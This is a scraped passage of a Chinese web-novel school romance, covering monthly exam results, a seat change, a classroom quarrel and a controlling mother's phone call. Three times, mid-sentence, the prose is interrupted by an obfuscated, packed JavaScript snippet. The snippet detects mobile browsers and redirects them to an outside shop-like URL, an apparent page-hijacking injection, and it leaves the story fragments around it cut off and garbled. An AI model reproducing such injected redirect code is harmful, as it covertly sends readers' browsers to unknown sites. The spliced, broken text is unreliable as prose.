两人一路溜达着回去,傅弦音玩心上来了,看着路边树梢的影子就忍不住去踩上一脚。 顾临钊无奈地看着蹦蹦跳跳的人,时不时伸手去拽她两把,免得她一头撞树上。 到了酒店,傅弦音找门童叫了车,看着顾临钊上车才放心。 她扒着车窗,漂亮的猫儿眼眨啊眨,脆生生道:“谢谢班长。今晚麻烦你了。” 散落的碎发被风吹进车窗,她眼里的红血丝还有不少,可眼神却从晚上初见时雾蒙蒙一片到多少带了点光。 顾临钊勾勾唇角:“麻烦我是小事,翻墙进宿舍就是大事了。” 傅弦音:…… 这人真就是一点好话都没法给他说。 她转头就要走,却在进大门前又被叫住。 “傅弦音。” “干嘛。” 车子发动,发动机的嗡鸣遮住了少年的声音。 可傅弦音还是听懂了那句话。 “我没有门禁。” 如果有需要,随时找我。 * 高三学生统共只有3天国庆假。 周二开学,傅弦音和程铃铃刚进教室就听见林安旭哀嚎: “怎么就开学了,我盼了那么久的国庆假呢?我那么长一个国庆假呢?怎么就没了啊。” 他哭丧着脸,摆着指头数:“一共就三天假,还有一堆作业,别说出去玩了,我连游戏都没怎么打。” 顾临钊淡漠回:“谁管你打不打游戏,作业写完了吗?今天第一节课高姐查作业,没写就扣分。” 他拿着那个计分本,毫不留情给林安旭又捅上了一道:“你离叫家长可不远了。” 傅弦音伸出手,试探性地想碰碰那个本子,没想到顾临钊直接把本子塞她手里了。 她没客气,翻开看着,看了几页发现不对劲。 “班长,你怎么没扣不写作业的分啊。班规班级我记得不写作业是要扣分的啊。” 顾临钊睨她一眼:“要是扣的话,你不早被叫家长了么?” 傅弦音白他一眼。 和班长同桌最大的坏处就是这,一举一动都逃不过他的眼睛。 林安旭从她位置上起身,给她解释道:“班规班级是这样说,不过高三吗,写不完作业也是没办法的,真要这么扣高姐什么都不用干了,她办公室常打开开放怀抱等家长就好了。” “所以说其实不写作业这种不会扣分?” 傅弦音抓住了盲点。 林安旭点头:“bingo,其实也不能叫不扣分,这叫……” “叫我善良。” 顾临钊收好本子,胳膊搭在桌上,转脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你骂我?” 傅弦音莫名其妙:“你说我扣分扣得多就罢了,你还拐着弯骂我?” 顾临钊扶额:“哪骂你了,我真是好奇你那些语文阅读理解都怎么拿的分,就你这个无中生有的理解力……” 傅弦音:“你骂我身手不矫健行动不灵活。” 顾临钊:…… 得,这姑娘真是一点软话都听不得。 到她那全变味了。 “而且,”傅弦音震惊道:“什么叫我真翻墙就 办法了,不是你们北川一中的这个扣分制度是累计制的,他妈不清零也不重置的吗??” 这个世界上怎么会有这么变态的制度?! 她不理解。 她完全不理解。 “当然重置。你班规班纪真是挑着看的吧。” “每个月开学第一天所有的分数重置,前天还是上个月呢,没法重置,只能累计。” “所以是今天啊。” 傅弦音忽然感觉到肩膀上的担子轻了些,她舒服地伸了个懒腰。 顾临钊看着她狡黠的模样忍不住弯了弯唇角。 “是今天。” 他的声线清朗干净: “傅弦音同学,从今天开始,你崭新、明亮、光明的新生活,就要开始了。” 22. 年级第一 假期缩短对于傅弦音来说不是什么头疼的事。 甚至由于家庭原因,傅弦音一直都不大喜欢放假。 放假就要回家,她不想回家。 之前在临澜,陈慧梅经常会把她赶出来,没地方去了傅弦音就去酒店凑合一晚。现在在北川,有了宿舍这个好地方,放假周末都不关,傅弦音至少不用担心没地方去。 没了月考这座大山压着,傅弦音感觉这几天呼吸都顺畅了不少。 倒真如顾临钊所说,她光明的新生活开始了。 但这新生活也短暂。 就持续了三天。 第四天,月考成绩就出了。 傅弦音前一晚焦虑得失眠,她坐在教室,语文课本半天都在同一页,她就这么愣愣地看着课本,呼吸急促得像是刚跑完800米。 几乎是在顾临钊落座的瞬间,傅弦音就转过身。 顾临钊都被她下一跳,他放下书包,狐疑地看着傅弦音。 傅弦音:“今天月考出成绩是吗?什么时候出?” 顾临钊:“按惯例应该是上数学课的时候,高姐会说一下。” 周五的第一节数学课是在大课间之后的第三节课。 她还得熬大半个上午。 傅弦音叹了口气,趴在桌上,有点无精打采。 顾临钊看了眼身边蔫下去的人,没说话。 早读后,第一节是语文。 还没开始上课,语文课代表就抱了一打卷子过来。 上课铃打响,语文老师徐寻菱带着扩音器走进教室,问道:“卷子都收到了吗?” 底下稀稀拉拉地回:“收——到——了——” “觉得自己考的怎么样?” 底下不说话了。 徐寻菱:“这次考试,年级最高分143,我们班最高分是139。” 傅弦音看着自己试卷上鲜红的139,咬着嘴唇笑了笑。 唇角笑意还没收起,徐寻菱就点了她的名字:“傅弦音。” 傅弦音站起来,就见徐寻菱笑着对她道:“语文最高分的同学,有没有什么学习经验想跟大家分享?” 傅弦音不好意思的笑笑:“语文其实不是我最擅长的科目,学习经验的话,就是把课本上所有的古诗文该背该记的都复习好,不能有侥幸心理。阅读理解……我还是习惯多刷题,总结模板。至于作文——” 她看着自己的卷子,坦诚道:“我这次作文43分,不算高分,我就不说了吧。” 纪逐渺朝后瞥了她一眼,小声跟宋瑶歌咬耳朵:“说什么不是最擅长的科目,有必要吗?都考这么高了还装。” 宋瑶歌没说话。 她每次路过后门都会下意识看顾临钊,这已经成了她的习惯了。 看顾临钊的时候,视线也经常会扫到傅弦音,而几乎每次她在座位上,她都是在学习。 宋瑶歌有猜到傅弦音学习成绩还不错,但是没想到是这种单科第一的水平。 而且,还是她不擅长的科目。 她看了看自己卷子上鲜红的76,低下了头。 徐寻菱简单说了一下成绩,而后就开始讲试卷。 宋瑶歌拿起红笔,看着自己试卷上一片片鲜红的叉,眼泪差点没掉下来。 好不容易熬过一节课,宋瑶歌拉着纪逐渺去卫生间。 走廊上,纪逐渺说道:“那个傅弦音,仗着自己考得还不错,你看她嘚瑟的样子。” 宋瑶歌回头看了眼,敞开的后门刚好可以将最后一排尽收眼底。 傅弦音趴在桌子上,面前放着语文试卷,旁边,顾临钊点了点她的卷子,不知道说了些什么,只见傅弦音转过脸,扬起下巴,有些得意地笑着。 宋瑶歌赶紧收回视线。 “瑶歌,瑶歌?” 纪逐渺歪着脑袋看她:“你怎么了,感觉你心情不太好。” 宋瑶歌犹豫一下,还是说出了实情:“我的月考成绩,和他们比起来,太低了。” 纪逐渺却满不在乎:“你担心什么呀,瑶歌,你是艺术生。再说了,你长得好看,跳舞也好,这些都是傅弦音比不过的。” “而且,她不过就是占了和顾临钊同桌的便宜。”纪逐渺道:“月考结束,我们马上就换位了,到时候他们不同桌,我看看傅弦音还能干出什么。” 宋瑶歌的心情短暂地好了一瞬。 她点点头,露出明媚的笑:“嗯,你说的对。” 第二节是物理。 出乎意料,进来的是高颖。 她拿着卷子,道:“你们物理老师临时有点事,把这节课给我了,今天下午最后一节自习课改成物理。” “啊——不要啊——” 林安旭在讲台上哀嚎,被高颖用试卷敲了下脑袋:“不要什么,你看看你的数学成绩是不是在跟你说不要。” 林安旭“嘿嘿”一笑:“说实话高姐,我其实感觉我这次考的还不错。” 高颖表情缓和了些:“嗯,是不错,不过最不错的不是你。” 最后一排,傅弦音悄悄问顾临钊:“你们这边的传统,班主任上课会把其他的科目的成绩说了吗?连带着班级名次年级名次之类的。” 顾临钊点点头,轻声说:“会。” 他话音刚落,高颖就点了傅弦音的名字: “傅弦音。” 临时开了个小差的傅弦音条件反射地站起来:“到。” 高颖说:“上课别讲小话。” 傅弦音垂了脑袋:“哦,好的老师。” 谁知,高颖又加了一句:“考了第一也不行。” 傅弦音猛地抬头,就听高颖说:“这次考试,年级第一和第二都出在我们班,傅弦音692分,年级第一,顾临钊691分,年级第二。” “我靠,傅弦音学习这么牛的吗?” “692,妈妈呀,杀了我我都考不了这么高。” “后门最后一排是什么风水宝地吗,坐那的不是年级第一就是年级第二,这次换位能不能我去坐坐。” “可以啊,你去坐你也能年级第一,倒数的那种。” 有些嘈杂的哄闹声中,傅弦音还能听见林安旭在前排叫:“692!年级第一!我音姐牛逼!” 傅弦音:…… 他坐讲台是真不冤枉。 教室被这一信息搞得轰动。 顾临钊大考经常年级第一,第二都很少拿,最低也是年级第三。 而傅弦音,转校生,第一次考试就抢了年级第一的位置。 更别说,上次文艺汇演过后,班上几乎所有同学都知道他俩关系密切。 好看的脸,优异的成绩。 这两样在学生时代最容易获得大家关注的东西,傅弦音全占了。 宋瑶歌转头看着傅弦音,眼圈隐隐红了一片。 全班哄闹着,她就撑着桌子站在原地,脸上是不加掩饰的笑意。在她身边,顾临钊撑着下巴,挑了挑眉梢,看口型是个“恭喜”。 宋瑶歌从没觉得自己这么狼狈过。 年级里喜欢顾临钊的女生很多,她不是不知道,但她从没觉得那群女生会给她造成威胁。 她长得好看,加上舞蹈生的身份加持,年级里不少人都觉得她是校花。 在傅弦音转来之前,年级里风头最大的,男生是顾临钊,女生就能数着她了。 可傅弦音转来了。 论长相她比不过,论学习成绩两个她加起来都不一定有傅弦音考得高。 692。 天堑一样的数字在宋瑶歌面前落下。 骄傲如天鹅一样的脊背微微弯了弯,宋瑶歌低下了头。 “好了,安静——” 高颖敲了敲讲台,控制住了大家。 “别的科目成绩我就不多说了,你们自己等任课老师来说。我单独讲一下数学,这次数学考试比较难,但年级里依然有考满分的同学,比如说我们班的傅弦音。” “傅弦音。”高颖点到:“上来领一下自己的卷子。数学课代表,把剩下的卷子发了。林安旭,你去把成绩单贴在前面公告栏,想看的下课去看,现在好好上课。” 傅弦音领到了属于自己的150,数学课代表在班里发其余人的卷子,高颖继续道: “这是高三第一次月考,也是你们暑假回来第一次大型考试。有人进步明显,当然了,也有人退步得不像样。我要说的是,这次月考的成绩不能代表一切,但还是能总结出你们开学这一个月的学习状态。” “考好的不要骄傲,考差的也不要气馁。距离高考还有8个月,一切都还来得及。” “好,月考的事情就说到这里,剩下的我们看一下卷子。” 年级第一。 150。 傅弦音的嘴角就没下去过。 顾临钊看着她,早上还蔫得似霜打的茄子般,成绩一出,立马精神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060452|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他转过头,轻轻笑了一声。 变脸变这么快,还挺可爱。 下课后,公告栏前面围得水泄不通。 林安旭占了坐讲台前面的光,下课就拿着稿纸跑到最前面,记下了几个成绩后就和程昭昭来到最后一排这里。 他给程昭昭拉了把椅子,又给自己拉了把,把四个人的成绩摆出来,努努嘴:“诺,自己看,不用谢你旭哥,你旭哥就是这样的活雷锋。” 程昭昭“切”了一声:“谁谢你了。” 林安旭:“哎,那你有本事别看啊。” 程昭昭吐舌头:“略略略,你管我,我就要看。” 傅弦音也凑过去看自己的成绩。 语文139,数学150,英语144,化学77,生物85,物理97,总分692,班级第一,年级第一。 她又看顾临钊的。 语文130,数学145,英语135,化学97,生物93,物理91,总分691,班级第二,年级第二。 她这次语文139属于走了点狗屎运,平时来讲她也就是130多点,最多135。 顾临钊语文数学跟她差不多,英语和物理比她差点,生物比她好点,化学则比她好了不止一星半点。 这次,顾临钊总分就比她低了一分,还是在她语文走了狗屎运的前提下。 真要综合实力,她还真不一定能比得过顾临钊。 她是好得尤其好,像数学物理,能考满分或者接近满分。 差得尤其差,之前在临澜,数学物理双双满分时,生物可能还在80分上下徘徊。好不容易在高考前把生物稳定在了85以上,现在又来了个化学。 而顾临钊。 傅弦音扫了眼顾临钊的成绩。 语文英语都稳定在130以上,理科没有一科扣超过十分。 什么叫六边形战士。 他同桌,顾半仙,就是个标标准准的六边形战士。 林安旭和程昭昭这次考的也不错,林安旭考了583,程昭昭则破天荒地上了600。 林安旭看着自己的成绩,左看右看都是满意:“哎,真不错,583,这次回家好交代了。” 他伸了个懒腰,高兴道:“终于可以换位了,终于不用再给老师当护法了!” “想得美。” 顾临钊毫不留情道:“我们班人是单数,这次换位你大概率还是护法。” “什么,我靠,对啊。” 林安旭哭丧着脸:“我真不想当护法,你是不知道,我上课不敢睡觉,晚自习没人说话,我就连吃个小饼干都得偷偷摸摸的。” 傅弦音:“没事,你要是坐我这,你上课也没法睡觉,晚自习也没人说话,我比你好的可能唯一就是吃小饼干不用偷偷摸摸的。” 三人被她逗笑,顾临钊笑着还斜她一眼:“拐着弯骂我呢?” “听出来啦?” 傅弦音笑嘻嘻:“您语文这一百三十多可是没白考。” “不过。” 傅弦音有些好奇的问道:“一般换位都是怎么个换法啊,而且,你们每次大考完都换座位?” “对滴!” 程昭昭从傅弦音桌洞翻出最后一袋小面包,满脸不舍地给林安旭掰了一块,嚼着面包道: “每次换位都是高姐排,除了前排可能换到后排,后排可能换到前排以外,没什么规律。” 傅弦音抓住重点:“没什么规律,那也就是说同桌也会换吗?” 程昭昭:“嗯嗯,会换的,也是高姐随机打乱,不过其实也不一定,高姐不会专门说这次你和顾临钊坐同桌,所以下次你俩不能坐同桌,这种,你懂吧。” 傅弦音若有所思地点了点头。 程昭昭继续:“考完试换位,考完试开家长会,是一中基操啦,正好每次大考之间间隔差不多一个月,总不能一直让有的人坐最后一排嘛……林安旭你要不要脸!我分你半个面包不错了你还抢我的,你嘴里的都没吃完呢!” 林安旭忙不迭地把从程昭昭手里那块面包塞到嘴里,跑出教室躲避程昭昭的巴掌。 “谁让你吃那么慢,哎下午哥给你买,下午给你买行吧。” 傅弦音没心思管门外那俩冤家。 她被程昭昭刚才那句话的信息量炸了个外焦里嫩。 要开家长会了。 意味着,她安生日子过不了几天,又要去找陈慧梅了。 23. 换位 顾临钊看了两眼成绩就去高姐办公室了。 他在上课前回来,推开门就看见傅弦音趴桌上无精打采的。 他眉头微微蹙起,突然觉得女生还真挺神奇的。 明明刚才考了年级第一之后嘚瑟得跟个亮爪子的小猫似的,这才几分钟,就成了这幅垂头丧气的样。 活似吃不上饭的小流浪猫。 他戳了戳小流浪猫的胳膊,小猫转过脸来,有气无力问: “干嘛?” 顾临钊:“高姐让你准备一下,晚自习换完位之后分享一下学习经验。” 小流浪猫点点头,又把脸转过去了。 林安旭在外面鬼混了一个课间,卡着上课铃声前进了教室。 他也看到了蔫成一团的傅弦音,凑顾临钊着小声说:“美女姐姐咋了,不能是知道换位跟你同桌不了心情不好吧。” 顾临钊:…… 他看了这傻逼一眼,无语道:“没脑子就别瞎猜。” 要是别人他可能还怀疑一下这个理由。 可他同桌是傅弦音。 顾临钊就是失心疯也不会觉得傅弦音是因为舍不得和他不当同桌而情绪低落。 他其实心里有了个答案。 问题应该出在开家长会上。 他同桌那糟心的家庭状况,他也不是一点都不知道。 顾临钊看了眼女孩的背影,心中忽然沉了沉。 真跟个小流浪猫似的。 小流浪猫的状态持续了近一整天。 哪怕是最后一节物理课,物理老师宣布傅弦音97分的物理再次荣获年级第一时,傅弦音的状态看起来都没有好很多。 下午放学,陈念可和程昭昭走到后门这边。 陈念可是个小吃货,对学校周边有什么好吃的如数家珍。 自从上次发现傅弦音不爱吃饭之后,陈念可暗暗发誓,要带傅弦音吃遍她在一中这两年挖到的所有宝藏小吃。 陈念可扯扯傅弦音衣袖,也跟着程昭昭叫音音:“音音,下午去吃酱香饼吧,我们现在过去,还能来得及买完酱香饼再去排串串香的队。” “我就不去了,”她听陈念可说过酱香饼和串串香排的队都很长,不想两人念着要给她带饭改变计划,笑着道:“你们去吧,没事,我等会自己去食堂吃点就行了。” 程昭昭说:“刚月考完,要不要这么拼呀音音。” “不是学习,”傅弦音说:“高姐让我晚自习分享学习经验,我在这整理一下看看有什么好分享的。” “好吧好吧。”陈念可说道:“那明天一起去,我已经想好明天吃什么了。我们先走了音音,晚了排不到队了啊。” 傅弦音趴在桌上,拿出手机,点开和陈慧梅的聊天记录,又退出,再点开通讯录,翻到陈慧梅,手指在拨号键那里停留了好久,就是按不下去。 算了算了,高姐还没说具体开家长会的时间呢。等到时候她说了再跟陈慧梅讲。 能拖一会就拖一会。 傅弦音又找到和傅东远的对话框。 聊天记录还停留在三个月前,傅东远换了个秘书,把他秘书的联系方式给了傅弦音。 傅弦音和那秘书联系的都比和傅东远联系得多。 她叹了口气,正准备按灭屏幕,陈慧梅的电话突然打了进来。 傅弦音去对面空教室接电话。 陈慧梅上来就问:“考试成绩出了吗?是不是年级第一?为什么不第一时间告诉我?” 傅弦音:“出了,是年级第一,语文,数学,物理都是年级单科最高分。” “多少分?”陈慧梅不客气问道。 “692。”傅弦音道。 陈慧梅还是不满:“怎么没上700?你在临澜高三第一次月考上700了,你是不是来北川松懈了,我就知道,我不看着你你肯定……” 窒息的感觉再次袭来,像有一只大手捏住了傅弦音的喉咙,她拼命吸入空气,四肢却仍然是缺氧的麻。 “卷子不一样,难度不一样,没有可比性的。而且我两年没学化学了,能考成现在这样已经——” 很不容易了。 她话没说就被陈慧梅打断。 “是我不让你学化学的吗?是我拦着你学化学了吗?你是在怪我吗傅弦音?” 她声音忽然软了下来:“音音,你知道的,你必须要好好努力,努力进傅东远的公司,这样我们娘俩才能有好日子过,你明白吗,妈妈只有你了。” “你知道我一个人把你带大有多不容易吗?妈妈只有你了音音,妈妈只能靠你了。你怎么能不体谅妈妈?你怎么能怪妈妈?” 耳朵在嗡鸣。 傅弦音有点听不清陈慧梅说话。 她不记得陈慧梅是什么时候挂了电话的,也不记得自己是什么时候从窒息状态中脱离出来。 她扶着墙壁,缓缓站起,托着沉重的步子走回教室。 程昭昭坐在顾临钊的位子上,嘴角还有酱香饼的酱料。 她问:“音音你刚吃完饭回来吗?你吃了什么呀?” 傅弦音扯了扯嘴角:“我不饿,我就没吃。” “你又没吃!” 程昭昭掐着腰:“我就说不能放心你,你学习那么专心就罢了,分享经验还这么专心,你不能天天不吃饭呀,身体要不要了。” 傅弦音笑笑:“我没有天天不吃饭,我早上吃了,中午吃了,已经两顿了,古人不是还讲究过午不食嘛,我这样很健康啦。” 程昭昭撇撇嘴:“我没想到你整理学习经验饭都不吃了,这种其实不用这么认真对待的,之前高姐每次也让顾临钊说,他都是象征性随便说两句,哪有你这么认真。” 傅弦音刚要开口,就听身后一道有些傲慢的声音传来:“就是,还为了整理学习经验饭都不吃了,装给谁看呢,嘚瑟什么呀,不就考了年级第一嘛,还要吹一辈子吗?” 路过的宋瑶歌微微扬着下巴,居高临下道。 “宋瑶歌你……” 程昭昭气得想和宋瑶歌理论,被傅弦音拉了一把。 她本来心情就不太好,和宋瑶歌这几次接触都不对付,这下更是一点好脸色都没。 她掀起眼皮睨了宋瑶歌一眼,忽然轻笑了一声。 宋瑶歌被这声笑笑得浑身发毛。 傅弦音唇角轻勾,眼里却一点笑意都没有: “这话顾临钊说说就罢了,他就比我低一分。你一个拿孙悟空毫毛多变个分身加起来都考不过我的,被什么脏东西夺舍了吧,也能说出这种话?” “我考年级第一当然不会吹一辈子,这不是我第一次考,也不会是我最后一次考,倒是你,要是能考一次年级第一,别说吹一辈子了,你爸妈得先带你去驱个邪吧?” 她这话怼得直接,宋瑶歌完全没想到她会这么直接怼回来,一时间愣住了。 旁边,一直没说话的纪逐渺突然开口:“傅弦音,你考了年级第一,就看不起成绩不如你的人吗?每个人起点都不一样,你为什么要这么高傲的蔑视一切,忽视别人的努力?” 傅弦音笑得弯了眼睛,说出口的话却直扎人心:“你哪只耳朵听到我说我看不起成绩不如我的人了,你阅读理解能力要真是这样,语文过半都困难吧。” 她倚在课桌上,懒洋洋的姿势,说出的话却直白到没有一丝掩饰:“我没有看不起成绩不如我的人,我看不起的是宋瑶歌,还有你,叫什么,纪逐渺,对吧?” “别给我扣高帽子,你爹我骂人从来不扫射广大人民群众,我有针对性得很。” 骂人的闸一开就关不上了,傅弦音正准备再说两句,眼前突然多了一只骨节分明的手。 那只手拎了一杯关东煮,一份盖饭,还有一杯杨枝甘露。 顾临钊站在她面前,敲敲桌子:“晚自习快开始了,你现在吃还能吃的完,想骂想吵等下晚自习再说,饭不能等,会凉。” 傅弦音一通输出堵在嗓子眼,她看着顾临钊,忽然冒出一句:“你怎么知道我没吃饭?” 顾临钊:“猜的。所以你吃了吗?没吃就快吃。” 不愧是顾半仙,傅弦音心想。 她神色复杂地看这顾临钊。 这像什么?吵架吵了一半结果你妈喊你回家吃饭? 傅弦音拿起一串鱼丸咬进嘴里。 而宋瑶歌和纪逐渺就那么僵在原地。 她们不知道顾临钊听见了多少,是全部还是只有一部分。 刚才和她们吵架的对象现在已经在吃饭了,宋瑶歌觉得自己像在做梦一样。 顾临钊会给傅弦音带饭,顾临钊知道她晚上没吃饭,傅弦音都不知道顾临钊为什么会知道她晚上没吃饭。 更重要的是,两人对于带饭这件事情完全不觉的有什么,一看就是做过很多次了。 而且不止他俩,边上程昭昭和林安旭也没露出什么惊讶的神色,仿佛这一幕天天上演。 顾临钊把杨枝甘露的吸管插上了,傅弦音极其自然地喝了一口,而后转头,看向顾临钊:“你没加……” “脆啵啵,我加了。”顾临钊有些无奈:“您自己把吸管按到底喝口再说行吗?给你买多少次杨枝甘露了,这我能忘?” 他还知道傅弦音爱喝杨枝甘露! 他还知道傅弦音爱喝加脆啵啵的杨枝甘露! 他还给傅弦音迈过很多次加了脆啵啵的杨枝甘露! 宋瑶歌世界崩塌了。 她眼圈一红,直接跑了。 纪逐渺看着宋瑶歌跑了,说道“瑶歌你去哪,等等我”,而后也跟着跑出了教室。 傅弦音嘴里咬着魔芋结,有些不明所以。 顾临钊看都没看宋瑶歌一眼,敲敲桌子,道:“快吃,等会该上晚自习了。” 傅弦音卡着晚自习上课铃吃完最后一块鸡排。 她嘴里塞着最后两个豆腐泡,一路小跑去扔垃圾。 回来的时候,顾临钊已经把新的座位表投到白板上了。 林安旭依然是右护法,他不用挪桌子,就去帮程昭昭搬桌子了。 傅弦音换到了左边一列的第二排,新同桌叫尹泽轩,数学课代表。 程昭昭换到了傅弦音两排之后的位置,顾临钊则换到了右边一列的第一排,刚好和她卡对角。 她又瞟了眼座位表,这次看到了顾临钊的同桌。 是宋瑶歌。 顾临钊回到座位,说道:“书包收拾下,给你搬桌子。” 傅弦音看着自己装了一堆书的书桌,“哦”了一声。 她把零碎的文具试卷之余装进书包,而后就见顾临钊胳膊跨过桌面,稍一用力,桌子就起来了。 “椅子自己拿。” “哦。” 尹泽轩已经换好位子了,见顾临钊来,他把自己桌子挪了挪,方便顾临钊放傅弦音的桌子。 新位子靠窗边,但离窗边也还有点距离,进出不需要通过尹泽轩,这点傅弦音还挺高兴的。 顾临钊给她放下桌子就回去搬自己的桌子了,傅弦音才刚坐下,就听尹泽轩说道: “能把你的数学试卷给我看一下吗?” 傅弦音愣了一下:“哦,好。” 她把试卷递给尹泽轩,还瞟了一眼尹泽轩的卷子。 143。 选择填空都没扣,5分扣在压轴题,两分扣在前面大题上的步骤。 尹泽轩已经对着她的压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060453|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轴题自己梳理思路了,傅弦音拿起笔,继续打草稿。 “动作快点,别磨磨叽叽的。” 高颖不知什么时候出现在了前门,她一声令下,没换完座位的人也加快了动作,不过两三分钟班上就静了下来。 高颖走上讲台,说道:“我简单开个班会,说两件事情。第一,运动会的时间定下来了,开两天,在10月26和27。” “好耶——两天不用上课!” 底下有人在起哄。 “安静。” 高颖敲了敲桌子,道:“别高兴太早,第二次月考的时间也定下来了,就在运动会一周后,你们都给我收点心,别办完运动会考得一塌糊涂。这次月考还是一中自主命题,但是月考之后再过半个月有一次期中考试,到时候是市里统一出题,全市联考。” 全市联考。 傅弦音紧张了一下。 高颖继续道:“第三,下周一晚上晚自习取消,7点开家长会,记得都跟家长说一声,我也会在群里发通知,来不了的提前找我请假。” “好,就这样。傅弦音,上来分享一下你的学习经验,你们好好听,学学人家是怎么考的。” 傅弦音拿着自己打的草稿上去,站在讲台前。 “语文我上午说过了,我先说说数学吧。其实不止是数学,理科大多对我来说都是一个学法,就是刷题,题海战术,见过足够多的题,看过足够多的花样,遇到问题就自动会把所有公式排列组合了。当然,刷题也是有目的性的刷题,哪个知识点不会不懂,就重点看,做好错题本。” “错题本的意义不是单纯的抄上去,不是复制粘贴,是这个东西既然上了错题本,那就要争取让这类题型不再上错题本,这才是错题本的意义,如果没有这点,你抄错题和练字没区别,真要练字不如去找字帖,还跟标准些。” 底下有人忍不住笑出声。 傅弦音继续道:“至于英语,短期之内想要提高,背单词是很好的办法,英语和语文一样,文科积累偏重,不过英语比语文好的是你只要努力了它见效还是很快的,就像从现在开始背单词,梳理语法,多努力一个月,下一次月考英语成绩应该就能看到明显提高。” “当然,”她笑笑:“所有的一切都是我个人经验,如果有不一样的地方,以你们自己为主。” “我讲完了,谢谢大家。” 台下响起一片掌声,高姐也赞许地看着傅弦音。 “好了,继续上晚自习吧。” 高姐坐在讲台上,敲敲桌面。 三节晚自习,傅弦音总结完了月考的错题,还写完了全部的作业。 晚自习放学铃响,傅弦音刚好掐点写完作业,她正准备收拾书包,胳膊被人戳了戳。 “怎么了?” 傅弦音转过头来,看见尹泽轩试卷上的空白,心中了然:“有题要问?” 尹泽轩:“这道题我一点思路都没有,完全不知道怎么下手。” 傅弦音思忖一下,拿铅笔在他卷子上画了个辅助线,而后道:“现在呢,给你点提示,自己继续想想看。” 这话说完她都愣住了。 她很少给人讲题,讲也一般是用最直白的话把思路讲明白。 像这种给人一点思路让人再自己努力努力的情况,还是第一次出现。 她正愣着,尹泽轩忽然惊喜道:“我知道了,谢谢你!” 傅弦音:“啊没事,不用谢。” 她一共就提笔画了条线,没什么要写的。 尹泽轩看着她收拾东西,忽然问道:“那我以后,有不会的题能来问你吗?你不用花很多时间给我,提个思路就可以了。” 这不是什么难事,傅弦音点点头;“可以啊,不过我如果在写题的话不行,我有空的话可以。” “没事没事。”尹泽轩摇摇头,说道:“我很有眼力价的,不会在你忙的时候打扰你的。” 傅弦音点点头,收拾好书包,程铃铃也刚好收拾好,在过道冲她招手。 傅弦音背上书包,说道:“那我先走了。” 尹泽轩冲她挥手:“拜拜。” 傅弦音:“拜拜。” 前门,林安旭看着窗的两人,说道:“没想到啊,美女姐姐还挺自来熟的,尹泽轩不爱说话一人,才同桌一节晚自习他俩就能聊这么多了。是不是和程昭昭认识久了啊?” “说什么呢?”程昭昭小跑两步,马尾甩到了肩膀上:“听见我名字了,说我坏话呢?” “哪有,哪敢啊。”林安旭笑着躲她。 宋瑶歌的桌子上贴了贴花,花里胡哨的。和顾临钊一本书都没有空空荡荡的桌面形成了鲜明的对比。 傅弦音看着两张桌子,忽然问道:“所以班长只能坐门口吗,不然你怎么从后门门口换到了前门门口?” “啧,你这找规律的能力数学怎么考150的。” 顾临钊有些无语道。 “什么啊,什么叫我这找规律的能力怎么考150,我找规律的能力很强的好吗?” 傅弦音不服输道。 “音音,快来快来。” 前面,程昭昭在楼梯口招呼她过去,傅弦音加快了步子,耳边忽然传来一句: “那些话,我也不会对你说的。” 这话没头没尾,可傅弦音却听懂了。 “不就考了年级第一,还要吹一辈子吗?” “这话顾临钊说说就罢了。” 穿堂风吹起了傅弦音的碎发。 她朝着程昭昭小跑过去,留下一句话,随着风一起送给他。 “我当然知道你不会说。” 你可是这个世界上最善良最心软的顾半仙。 24. 不爽 换座位对傅弦音影响不大。 同桌是谁无所谓,环境如何也无所谓,只要给傅弦音一个桌,她自己就能学。 尹泽轩和她同桌了几天,也震惊于她的效率。 无论上课下课,周中周末,傅弦音只要学进去,效率奇高无比。 关键她不光效率高,学得也努力。 有的时候,尹泽轩自习课想偷偷歇一会,看见傅弦音专注的侧脸就不敢歇了。 怪不得人家能考692啊。 什么叫比你有天赋的人还比你努力,尹泽轩算是感受到了。 尹泽轩甚至觉得就自己在傅弦音的这个激励下,下次月考他名次都能往前蹿好几名。 傅弦音在班里基本不怎么和别的同学主动说话。 像尹泽轩,和傅弦音同桌之前,除了收发数学作业,他和傅弦音完全没打过交道。 座位表刚出的时候,他觉得傅弦音甚至都有可能不知道尹泽轩是谁。 然而同桌这几天,他却发现傅弦音这个人比他想象中要好接触很多。 比如,他问她题,傅弦音只要有空就会给他提一两句思路。女孩逻辑思维很清晰,捋两遍就知道他卡在哪了,稍微点上一句,尹泽轩就醍醐灌顶。 而且,尹泽轩还发现,学霸也会写不完作业,临时换课后她也会手忙脚乱。学霸也有不擅长的科目,每次化学课提问他都能听见傅弦音小声念道: “别提问我,别提问我。” 但学霸的运气好像不太好。 基本上每一次,傅弦音都会被提问到。 只不过,这次运气格外不好。 傅弦音紧张地站起来,指尖在桌子上敲了敲去。 化学老师又重复了一遍问题:“碱金属院子的半径越大,熔点就越高,单质的活泼性就越大,对吗?三二一,回答。” 